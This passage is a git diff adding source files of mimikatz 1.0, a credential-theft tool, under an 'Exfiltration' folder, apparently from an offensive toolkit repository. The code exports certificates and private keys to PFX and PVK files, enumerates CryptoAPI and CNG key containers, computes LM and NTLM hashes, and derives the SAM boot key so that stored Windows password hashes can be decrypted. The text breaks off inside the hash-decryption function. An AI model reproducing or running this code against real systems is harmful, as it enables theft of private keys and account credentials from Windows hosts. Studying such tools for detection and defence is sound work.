mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE", CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_SERVICE", CERT_SYSTEM_STORE_CURRENT_SERVICE)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_USERS", CERT_SYSTEM_STORE_USERS)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_SERVICES", CERT_SYSTEM_STORE_SERVICES)); + + map::iterator monIterateur = mesEmplacements.find(strSystemStore); + if(monIterateur != mesEmplacements.end()) + { + *systemStore = monIterateur->second; + return true; + } + else return false; +} + +BOOL WINAPI mod_crypto::enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg) +{ + reinterpret_cast *>(pvArg)->push_back(reinterpret_cast(pvSystemStore)); + return TRUE; +} + +bool mod_crypto::getVectorSystemStores(vector * maSystemStoresvector, DWORD systemStore) +{ + return (CertEnumSystemStore(systemStore, NULL, maSystemStoresvector, enumSysCallback) != 0); +} + +bool mod_crypto::getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName) +{ + bool reussite = false; + wchar_t * monBuffer = NULL; + + DWORD maRecherche[] = {CERT_NAME_FRIENDLY_DISPLAY_TYPE, CERT_NAME_DNS_TYPE, CERT_NAME_EMAIL_TYPE, CERT_NAME_UPN_TYPE, CERT_NAME_URL_TYPE}; + + for(DWORD i = 0; !reussite && (i < (sizeof(maRecherche) / sizeof(DWORD))); i++) + { + DWORD tailleRequise = CertGetNameString(certCTX, maRecherche[i], 0, NULL, NULL, 0); + if(tailleRequise > 1) + { + monBuffer = new wchar_t[tailleRequise]; + reussite = CertGetNameString(certCTX, maRecherche[i], 0, NULL, monBuffer, tailleRequise) > 1; + certName->assign(monBuffer); + delete[] monBuffer; + } + } + return reussite; +} + +bool mod_crypto::getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo) +{ + bool reussite = false; + DWORD taille = 0; + if(CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, NULL, &taille)) + { + BYTE * monBuffer = new BYTE[taille]; + if(reussite = (CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, monBuffer, &taille) != 0)) + { + CRYPT_KEY_PROV_INFO * mesInfos = reinterpret_cast(monBuffer); + keyProvInfo->pwszProvName.assign(mesInfos->pwszProvName ? mesInfos->pwszProvName : L"(null)"); + keyProvInfo->pwszContainerName.assign(mesInfos->pwszContainerName ? mesInfos->pwszContainerName : L"(null)"); + keyProvInfo->cProvParam = mesInfos->cProvParam; + keyProvInfo->dwFlags = mesInfos->dwFlags; + keyProvInfo->dwKeySpec = mesInfos->dwKeySpec; + keyProvInfo->dwProvType = mesInfos->dwProvType; + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_crypto::CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password) +{ + bool retour = false; + + HCERTSTORE hTempStore = CertOpenStore(CERT_STORE_PROV_MEMORY, 0, NULL, CERT_STORE_CREATE_NEW_FLAG, NULL); + PCCERT_CONTEXT pCertContextCopy = NULL; + + if(CertAddCertificateContextToStore(hTempStore, certCTX, CERT_STORE_ADD_NEW, &pCertContextCopy)) + { + CRYPT_DATA_BLOB bDataBlob = {0, NULL}; + if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY)) + { + bDataBlob.pbData = new BYTE[bDataBlob.cbData]; + if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY)) + { + HANDLE hFile = CreateFile(pfxFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(hFile && hFile != INVALID_HANDLE_VALUE) + { + DWORD dwBytesWritten; + if(WriteFile(hFile, bDataBlob.pbData, bDataBlob.cbData, &dwBytesWritten, NULL) && (bDataBlob.cbData == dwBytesWritten)) + { + retour = FlushFileBuffers(hFile) != 0; + } + CloseHandle(hFile); + } + } + delete[] bDataBlob.pbData; + } + CertFreeCertificateContext(pCertContextCopy); + } + CertCloseStore(hTempStore, CERT_CLOSE_STORE_FORCE_FLAG); + + return retour; +} + +bool mod_crypto::CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile) +{ + bool retour = false; + + HANDLE hFile = CreateFile(DERFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(hFile && hFile != INVALID_HANDLE_VALUE) + { + DWORD dwBytesWritten; + if(WriteFile(hFile, certCTX->pbCertEncoded, certCTX->cbCertEncoded, &dwBytesWritten, NULL) && certCTX->cbCertEncoded == dwBytesWritten) + { + retour = FlushFileBuffers(hFile) != 0; + } + CloseHandle(hFile); + } + return retour; +} + +wstring mod_crypto::KeyTypeToString(DWORD keyType) +{ + wostringstream keyTypeStr; + switch (keyType) + { + case AT_KEYEXCHANGE: + keyTypeStr << L"AT_KEYEXCHANGE"; + break; + case AT_SIGNATURE: + keyTypeStr << L"AT_SIGNATURE"; + break; + default: + keyTypeStr << L"? (" << hex << keyType << L")"; + } + return keyTypeStr.str(); +} + + +bool mod_crypto::PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec) +{ + bool retour = false; + FILE_HDR monHeader = {PVK_MAGIC, PVK_FILE_VERSION_0, keySpec, PVK_NO_ENCRYPT, 0, tailleExport}; + + HANDLE hFile = CreateFile(pvkFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(hFile && hFile != INVALID_HANDLE_VALUE) + { + DWORD dwBytesWritten; + if(WriteFile(hFile, &monHeader, sizeof(monHeader), &dwBytesWritten, NULL) && (sizeof(monHeader) == dwBytesWritten)) + { + if(WriteFile(hFile, monExport, tailleExport, &dwBytesWritten, NULL) && (tailleExport == dwBytesWritten)) + { + retour = FlushFileBuffers(hFile) != 0; + } + } + CloseHandle(hFile); + } + + return retour; +} + +bool mod_crypto::genericDecrypt(BYTE * data, SIZE_T dataSize, const BYTE * key, SIZE_T keySize, ALG_ID algorithme, BYTE * destBuffer, SIZE_T destBufferSize) +{ + bool retour = false; + HCRYPTPROV hCryptProv = NULL; + HCRYPTKEY hKey = NULL; + PBYTE buffer = data; + DWORD dwWorkingBufferLength = dataSize; + + if(destBuffer && destBufferSize >= dataSize) + { + RtlCopyMemory(destBuffer, data, dataSize); + buffer = destBuffer; + } + + if((algorithme == CALG_RC4) && (keySize > 16)) + { + fullRC4(buffer, dataSize, key, keySize); + retour = true; + } + else + { + if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + GENERICKEY_BLOB myKeyHead = {{PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, algorithme}, keySize}; + BYTE * myKey = new BYTE[sizeof(GENERICKEY_BLOB) + keySize]; + RtlCopyMemory(myKey, &myKeyHead, sizeof(GENERICKEY_BLOB)); + RtlCopyMemory(myKey + sizeof(GENERICKEY_BLOB), key, keySize); + + if(CryptImportKey(hCryptProv, myKey, sizeof(GENERICKEY_BLOB) + keySize, 0, CRYPT_EXPORTABLE, &hKey)) + { + if(CryptDecrypt(hKey, NULL, TRUE, 0, buffer, &dwWorkingBufferLength) || ((algorithme == CALG_DES) && (GetLastError() == NTE_BAD_DATA))) // vite les erreurs de parits http://support.microsoft.com/kb/331367/ + retour = (dwWorkingBufferLength == dataSize); + CryptDestroyKey(hKey); + } + delete[] myKey; + CryptReleaseContext(hCryptProv, 0); + } + } + return retour; +} + +void mod_crypto::fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen) // pour les cls >= 128 bits (16 octets) +{ + ULONG i, j, k = 0, kpos = 0; + BYTE S[256], *pos = data; + + for (i = 0; i < 256; i++) + S[i] = static_cast(i); + + for (i = 0, j = 0; i < 256; i++) + { + j = (j + S[i] + key[kpos]) & 0xff; + kpos++; + if (kpos >= keylen) + kpos = 0; + S_SWAP(i, j); + } + + for (i = 0, j = 0; k < data_len; k++) + { + i = (i + 1) & 0xff; + j = (j + S[i]) & 0xff; + S_SWAP(i, j); + *pos++ ^= S[(S[i] + S[j]) & 0xff]; + } +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_crypto.h b/Exfiltration/mimikatz-1.0/modules/mod_crypto.h new file mode 100644 index 00000000..582ed366 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_crypto.h @@ -0,0 +1,60 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include +#include +#include + +#define PVK_FILE_VERSION_0 0 +#define PVK_MAGIC 0xb0b5f11e // bob's file +#define PVK_NO_ENCRYPT 0 +#define PVK_RC4_PASSWORD_ENCRYPT 1 +#define PVK_RC2_CBC_PASSWORD_ENCRYPT 2 + +class mod_crypto +{ +public: + typedef struct _KIWI_KEY_PROV_INFO { + std::wstring pwszContainerName; + std::wstring pwszProvName; + DWORD dwProvType; + DWORD dwFlags; + DWORD cProvParam; + DWORD dwKeySpec; + } KIWI_KEY_PROV_INFO, *PKIWI_KEY_PROV_INFO; + +private: + typedef struct _GENERICKEY_BLOB { + BLOBHEADER BlobHeader; + DWORD dwKeyLen; + } GENERICKEY_BLOB, *PGENERICKEY_BLOB; + + typedef struct _FILE_HDR { + DWORD dwMagic; + DWORD dwVersion; + DWORD dwKeySpec; + DWORD dwEncryptType; + DWORD cbEncryptData; + DWORD cbPvk; + } FILE_HDR, *PFILE_HDR; + + static BOOL WINAPI enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg); +public: + static bool getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore); + + static bool getVectorSystemStores(vector * maSystemStoresvector, DWORD systemStore = CERT_SYSTEM_STORE_CURRENT_USER); + static bool getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName); + static bool getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo); + + static bool PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec = AT_KEYEXCHANGE); + static bool CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password); + static bool CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile); + static wstring KeyTypeToString(DWORD keyType); + + static bool genericDecrypt(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen, ALG_ID algorithme, BYTE * destBuffer = NULL, SIZE_T destBufferSize = 0); + static void fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen); // keysize >= 128 bits (16 bytes) +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp new file mode 100644 index 00000000..f886f096 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp @@ -0,0 +1,138 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_cryptoapi.h" +HMODULE mod_cryptoapi::hRsaEng = NULL; + +bool mod_cryptoapi::loadRsaEnh() +{ + if(!hRsaEng) + hRsaEng = LoadLibrary(L"rsaenh"); + return (hRsaEng != NULL); +} + +bool mod_cryptoapi::unloadRsaEnh() +{ + if(hRsaEng) + FreeLibrary(hRsaEng); + return true; +} + +bool mod_cryptoapi::getProviderString(wstring ProviderName, wstring * Provider) +{ + map mesProviders; + mesProviders.insert(make_pair(L"MS_DEF_PROV", MS_DEF_PROV)); + mesProviders.insert(make_pair(L"MS_ENHANCED_PROV", MS_ENHANCED_PROV)); + mesProviders.insert(make_pair(L"MS_STRONG_PROV", MS_STRONG_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_RSA_SIG_PROV", MS_DEF_RSA_SIG_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_RSA_SCHANNEL_PROV", MS_DEF_RSA_SCHANNEL_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_DSS_PROV", MS_DEF_DSS_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_DSS_DH_PROV", MS_DEF_DSS_DH_PROV)); + mesProviders.insert(make_pair(L"MS_ENH_DSS_DH_PROV", MS_ENH_DSS_DH_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_DH_SCHANNEL_PROV", MS_DEF_DH_SCHANNEL_PROV)); + mesProviders.insert(make_pair(L"MS_SCARD_PROV", MS_SCARD_PROV)); + mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV", MS_ENH_RSA_AES_PROV)); + mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV_XP", MS_ENH_RSA_AES_PROV_XP)); + + map::iterator monIterateur = mesProviders.find(ProviderName); + *Provider = (monIterateur != mesProviders.end()) ? monIterateur->second : ProviderName; + return true; +} + +bool mod_cryptoapi::getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType) +{ + map mesTypes; + mesTypes.insert(make_pair(L"PROV_RSA_FULL", PROV_RSA_FULL)); + mesTypes.insert(make_pair(L"PROV_RSA_SIG", PROV_RSA_SIG)); + mesTypes.insert(make_pair(L"PROV_DSS", PROV_DSS)); + mesTypes.insert(make_pair(L"PROV_FORTEZZA", PROV_FORTEZZA)); + mesTypes.insert(make_pair(L"PROV_MS_EXCHANGE", PROV_MS_EXCHANGE)); + mesTypes.insert(make_pair(L"PROV_SSL", PROV_SSL)); + mesTypes.insert(make_pair(L"PROV_RSA_SCHANNEL", PROV_RSA_SCHANNEL)); + mesTypes.insert(make_pair(L"PROV_DSS_DH", PROV_DSS_DH)); + mesTypes.insert(make_pair(L"PROV_EC_ECDSA_SIG", PROV_EC_ECDSA_SIG)); + mesTypes.insert(make_pair(L"PROV_EC_ECNRA_SIG", PROV_EC_ECNRA_SIG)); + mesTypes.insert(make_pair(L"PROV_EC_ECDSA_FULL",PROV_EC_ECDSA_FULL)); + mesTypes.insert(make_pair(L"PROV_EC_ECNRA_FULL",PROV_EC_ECNRA_FULL)); + mesTypes.insert(make_pair(L"PROV_DH_SCHANNEL", PROV_DH_SCHANNEL)); + mesTypes.insert(make_pair(L"PROV_SPYRUS_LYNKS", PROV_SPYRUS_LYNKS)); + mesTypes.insert(make_pair(L"PROV_RNG", PROV_RNG)); + mesTypes.insert(make_pair(L"PROV_INTEL_SEC", PROV_INTEL_SEC)); + mesTypes.insert(make_pair(L"PROV_REPLACE_OWF", PROV_REPLACE_OWF)); + mesTypes.insert(make_pair(L"PROV_RSA_AES", PROV_RSA_AES)); + + map::iterator monIterateur = mesTypes.find(ProviderTypeName); + if(monIterateur != mesTypes.end()) + { + *ProviderType = monIterateur->second; + return true; + } + else return false; +} + +bool mod_cryptoapi::getVectorProviders(vector * monVectorProviders) +{ + DWORD index = 0; + DWORD provType; + DWORD tailleRequise; + + while(CryptEnumProviders(index, NULL, 0, &provType, NULL, &tailleRequise)) + { + wchar_t * monProvider = new wchar_t[tailleRequise]; + if(CryptEnumProviders(index, NULL, 0, &provType, monProvider, &tailleRequise)) + { + monVectorProviders->push_back(monProvider); + } + delete[] monProvider; + index++; + } + return (GetLastError() == ERROR_NO_MORE_ITEMS); +} + +bool mod_cryptoapi::getVectorContainers(vector * monVectorContainers, bool isMachine, wstring provider, DWORD providerType) +{ + bool reussite = false; + + HCRYPTPROV hCryptProv = NULL; + if(CryptAcquireContext(&hCryptProv, NULL, provider.c_str(), providerType, CRYPT_VERIFYCONTEXT | (isMachine ? CRYPT_MACHINE_KEYSET : NULL))) + { + DWORD tailleRequise = 0; + char * containerName = NULL; + DWORD CRYPT_first_next = CRYPT_FIRST; + bool success = false; + + success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, NULL, &tailleRequise, CRYPT_first_next) != 0); + while(success) + { + containerName = new char[tailleRequise]; + if(success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, reinterpret_cast(containerName), &tailleRequise, CRYPT_first_next) != 0)) + { + wstringstream resultat; + resultat << containerName; + monVectorContainers->push_back(resultat.str()); + } + delete[] containerName; + CRYPT_first_next = CRYPT_NEXT; + } + reussite = (GetLastError() == ERROR_NO_MORE_ITEMS); + CryptReleaseContext(hCryptProv, 0); + } + + return reussite; +} + +bool mod_cryptoapi::getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType) +{ + bool reussite = false; + + if(CryptExportKey(maCle, NULL, dwBlobType, NULL, NULL, tailleExport)) + { + *monExport = new BYTE[*tailleExport]; + if(!(reussite = (CryptExportKey(maCle, NULL, dwBlobType, NULL, *monExport, tailleExport) != 0))) + delete[] monExport; + + } + return reussite; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h new file mode 100644 index 00000000..8c70b483 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h @@ -0,0 +1,26 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include +#include +#include + +class mod_cryptoapi /* Ref : http://msdn.microsoft.com/en-us/library/aa380255.aspx */ +{ +private: + static HMODULE hRsaEng; +public: + static bool getProviderString(wstring ProviderName, wstring * Provider); + static bool getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType); + + static bool getVectorProviders(vector * monVectorProviders); + static bool getVectorContainers(vector * monVectorContainers, bool isMachine = false, wstring provider = MS_ENHANCED_PROV, DWORD providerType = PROV_RSA_FULL); + static bool getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType = PRIVATEKEYBLOB); + + static bool loadRsaEnh(); + static bool unloadRsaEnh(); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp new file mode 100644 index 00000000..690f390a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp @@ -0,0 +1,143 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_cryptong.h" + +HMODULE hNcrypt = LoadLibrary(L"ncrypt"); + +PNCRYPT_OPEN_STORAGE_PROVIDER K_NCryptOpenStorageProvider = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptOpenStorageProvider")); +PNCRYPT_ENUM_KEYS K_NCryptEnumKeys = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptEnumKeys")); +PNCRYPT_OPEN_KEY K_NCryptOpenKey = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptOpenKey")); +PNCRYPT_EXPORT_KEY K_NCryptExportKey = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptExportKey")); +PNCRYPT_GET_PROPERTY K_NCryptGetProperty = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptGetProperty")); + +PNCRYPT_FREE_BUFFER K_NCryptFreeBuffer = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptFreeBuffer")); +PNCRYPT_FREE_OBJECT K_NCryptFreeObject = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptFreeObject")); + +PBCRYPT_ENUM_REGISTERED_PROVIDERS K_BCryptEnumRegisteredProviders = reinterpret_cast(GetProcAddress(hNcrypt, "BCryptEnumRegisteredProviders")); +PBCRYPT_FREE_BUFFER K_BCryptFreeBuffer = reinterpret_cast(GetProcAddress(hNcrypt, "BCryptFreeBuffer")); + +bool mod_cryptong::isNcrypt = ( + hNcrypt && + K_NCryptOpenStorageProvider && + K_NCryptEnumKeys && + K_NCryptOpenKey && + K_NCryptExportKey && + K_NCryptGetProperty && + K_NCryptFreeBuffer && + K_NCryptFreeObject && + K_BCryptEnumRegisteredProviders && + K_BCryptFreeBuffer +); + +bool mod_cryptong::justInitCNG(LPCWSTR pszProviderName) +{ + bool reussite = false; + NCRYPT_PROV_HANDLE hProvider; + + if(K_NCryptOpenStorageProvider(&hProvider, pszProviderName, 0) == ERROR_SUCCESS) + reussite = (K_NCryptFreeObject(hProvider) == 0); + + return reussite; +} + + +bool mod_cryptong::getVectorProviders(vector * monVectorProviders) +{ + bool reussite = false; + + DWORD cbBuffer; + PCRYPT_PROVIDERS pBuffer = NULL; + + if(reussite = (K_BCryptEnumRegisteredProviders(&cbBuffer, &pBuffer) == 0)) + { + for(DWORD i = 0; i < pBuffer->cProviders; i++) + monVectorProviders->push_back(pBuffer->rgpszProviders[i]); + K_BCryptFreeBuffer(pBuffer); + } + + return reussite; +} + +bool mod_cryptong::getVectorContainers(vector * monVectorContainers, bool isMachine) +{ + bool reussite = false; + NCRYPT_PROV_HANDLE hProvider; + NCryptKeyName * pKeyName; + PVOID pEnumState = NULL; + + SECURITY_STATUS retour; + if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS) + { + while((retour = K_NCryptEnumKeys(hProvider, NULL, &pKeyName, &pEnumState, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL))) == ERROR_SUCCESS) + { + monVectorContainers->push_back(pKeyName->pszName); + K_NCryptFreeBuffer(pKeyName); + } + reussite = (retour == NTE_NO_MORE_ITEMS); + + if(pEnumState) + K_NCryptFreeBuffer(pEnumState); + K_NCryptFreeObject(hProvider); + } + + return reussite; +} + +bool mod_cryptong::getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine) +{ + bool reussite = false; + NCRYPT_PROV_HANDLE hProvider; + + if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS) + { + reussite = K_NCryptOpenKey(hProvider, keyHandle, keyName.c_str(), 0, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL)) == ERROR_SUCCESS; + K_NCryptFreeObject(hProvider); + } + + return reussite; +} + + + +bool mod_cryptong::getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize) +{ + DWORD tailleEcrite = 0; + return ((K_NCryptGetProperty(*provOrCle, NCRYPT_LENGTH_PROPERTY, reinterpret_cast(keySize), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD)); +} + + +bool mod_cryptong::isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable) +{ + bool reussite = false; + DWORD tailleEcrite = 0, exportability = 0; + + if(reussite = ((K_NCryptGetProperty(*provOrCle, NCRYPT_EXPORT_POLICY_PROPERTY, reinterpret_cast(&exportability), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD))) + { + *isExportable =(exportability & NCRYPT_ALLOW_EXPORT_FLAG) != 0; + } + return reussite; +} + +bool mod_cryptong::getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType) +{ + SECURITY_STATUS monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, NULL, 0, tailleExport, 0); + if(monRetour == ERROR_SUCCESS) + { + *monExport = new BYTE[*tailleExport]; + monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, *monExport, *tailleExport, tailleExport, 0); + + if(monRetour != ERROR_SUCCESS) + delete[] monExport; + } + SetLastError(monRetour); + return (monRetour == ERROR_SUCCESS); +} + + +bool mod_cryptong::NCryptFreeObject(NCRYPT_HANDLE hObject) +{ + return (K_NCryptFreeObject(hObject) == 0); +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h new file mode 100644 index 00000000..3eec5b69 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h @@ -0,0 +1,24 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include +#include + +class mod_cryptong /* Ref : http://msdn.microsoft.com/en-us/library/aa376210.aspx */ +{ +public: + static bool getVectorProviders(vector * monVectorProviders); + static bool getVectorContainers(vector * monVectorContainers, bool isMachine = false); + static bool getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine = false); + static bool getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize); + static bool isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable); + static bool getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType = LEGACY_RSAPRIVATE_BLOB); + static bool NCryptFreeObject(NCRYPT_HANDLE hObject); + + static bool isNcrypt; + static bool justInitCNG(LPCWSTR pszProviderName = NULL); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp b/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp new file mode 100644 index 00000000..fe32c499 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp @@ -0,0 +1,150 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_hash.h" + +PSYSTEM_FUNCTION_006 mod_hash::SystemFunction006 = reinterpret_cast(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction006")); +PSYSTEM_FUNCTION_007 mod_hash::SystemFunction007 = reinterpret_cast(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction007")); +PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING mod_hash::RtlUpcaseUnicodeStringToOemString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlUpcaseUnicodeStringToOemString")); +PRTL_INIT_UNICODESTRING mod_hash::RtlInitUnicodeString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString")); +PRTL_FREE_OEM_STRING mod_hash::RtlFreeOemString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlFreeOemString")); + +bool mod_hash::lm(wstring * chaine, wstring * hash) +{ + bool status = false; + UNICODE_STRING maChaine; + OEM_STRING maDestination; + BYTE monTab[16]; + + RtlInitUnicodeString(&maChaine, chaine->c_str()); + if(NT_SUCCESS(RtlUpcaseUnicodeStringToOemString(&maDestination, &maChaine, TRUE))) + { + if(status = NT_SUCCESS(SystemFunction006(maDestination.Buffer, monTab))) + hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab))); + + RtlFreeOemString(&maDestination); + } + return status; +} + +bool mod_hash::ntlm(wstring * chaine, wstring * hash) +{ + bool status = false; + UNICODE_STRING maChaine; + BYTE monTab[16]; + + RtlInitUnicodeString(&maChaine, chaine->c_str()); + if(status = NT_SUCCESS(SystemFunction007(&maChaine, monTab))) + hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab))); + return status; +} + +void mod_hash::getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]) +{ + BYTE permut[] = {0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04}; + for(unsigned int i = 0; i < 0x10; i++) + bootkey[i] = key[permut[i]]; +} + +bool mod_hash::getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF) +{ + bool reussite = false; + unsigned char qwe[] = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"; + unsigned char num[] = "0123456789012345678901234567890123456789"; + + HCRYPTPROV hCryptProv = NULL; + HCRYPTHASH hHash = NULL; + if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + BYTE md5hash[0x10] = {0}; + DWORD dwHashDataLen = sizeof(md5hash); + CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash); + CryptHashData(hHash, AccountsF + 0x70, 0x10, 0); + CryptHashData(hHash, qwe, sizeof(qwe), 0); + CryptHashData(hHash, bootKey, 0x10, 0); + CryptHashData(hHash, num, sizeof(num), 0); + CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0); + CryptDestroyHash(hHash); + CryptReleaseContext(hCryptProv, 0); + reussite = mod_crypto::genericDecrypt(AccountsF + 0x80, 0x10, md5hash, 0x10, CALG_RC4, hBootKey, 0x10); + } + return reussite; +} + +bool mod_hash::decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, 